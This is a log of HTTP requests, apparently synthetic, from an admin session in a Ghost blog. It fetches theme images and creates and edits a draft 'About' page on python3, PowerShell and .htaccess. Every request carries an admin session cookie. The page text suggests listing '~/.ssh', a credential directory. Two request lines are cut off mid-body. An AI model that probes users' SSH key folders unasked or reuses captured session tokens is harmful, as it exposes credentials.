{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
|
